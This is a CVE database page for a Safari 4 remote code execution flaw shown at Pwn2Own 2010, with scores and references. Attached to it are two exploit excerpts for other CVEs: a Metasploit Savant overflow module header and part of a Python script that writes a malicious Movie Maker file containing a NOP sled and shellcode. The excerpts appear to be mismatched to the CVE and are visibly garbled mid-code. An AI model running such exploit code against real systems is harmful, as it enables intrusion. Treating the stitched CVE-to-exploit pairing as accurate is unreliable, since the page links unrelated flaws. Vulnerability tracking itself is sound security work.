CVE-2010-1120
published 2010-03-25CVE-2010-1120: Unspecified vulnerability in Safari 4 on Apple Mac OS X 10.6 allows remote attackers to execute arbitrary code via unknown vectors, as demonstrated by Charlie…
PriorityP349critical10CVSS 2.0
AVNACLAuNCCICAC
EPSS
5.18%
91.6th percentile
Unspecified vulnerability in Safari 4 on Apple Mac OS X 10.6 allows remote attackers to execute arbitrary code via unknown vectors, as demonstrated by Charlie Miller during a Pwn2Own competition at CanSecWest 2010.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | safari | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Savant Web Server 3.1 - Remote Overflow (Metasploit)
exploitdb·2010-10-04
CVE-2002-1120 Savant Web Server 3.1 - Remote Overflow (Metasploit)
Savant Web Server 3.1 - Remote Overflow (Metasploit)
---
##
# $Id: savant_31_overflow.rb 10546 2010-10-04 20:53:51Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 [ /Savant\/3\.1/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Savant 3.1 Web Server Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service
supports a maximum of 10 threads (for a default install). Each exploit attempt
generally causes a thread to die
Exploit-DB
Microsoft Movie Maker - Remote Code Execution (MS10-016)
exploitdb·2010-09-04·CVSS 9.3
CVE-2010-0265 [CRITICAL] Microsoft Movie Maker - Remote Code Execution (MS10-016)
Microsoft Movie Maker - Remote Code Execution (MS10-016)
---
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ 1120:
print "[*] Error : Shellcode length is long"
return
if len(shellcode) 0 :
shellcode += '\x90'
dif = dif - 1
fdW= open('exploit.mswmm', 'wb+')
fdW.write(str1)
fdW.write(size_first_new)
fdW.write(str2)
fdW.write(size_second_new)
fdW.write(str3)
fdW.write(p2p)
fdW.write('\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90') # padding
fdW.write(shellcode)
fdW.write(str4)
fdW.close()
fdR.close()
print '[-] Movie Maker file(.MSWMM) generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
No writeups or analysis indexed.
http://dvlabs.tippingpoint.com/blog/2010/02/15/pwn2own-2010http://news.cnet.com/8301-27080_3-20001126-245.htmlhttp://twitter.com/thezdi/statuses/11002504493http://dvlabs.tippingpoint.com/blog/2010/02/15/pwn2own-2010http://news.cnet.com/8301-27080_3-20001126-245.htmlhttp://twitter.com/thezdi/statuses/11002504493
2010-03-25
Published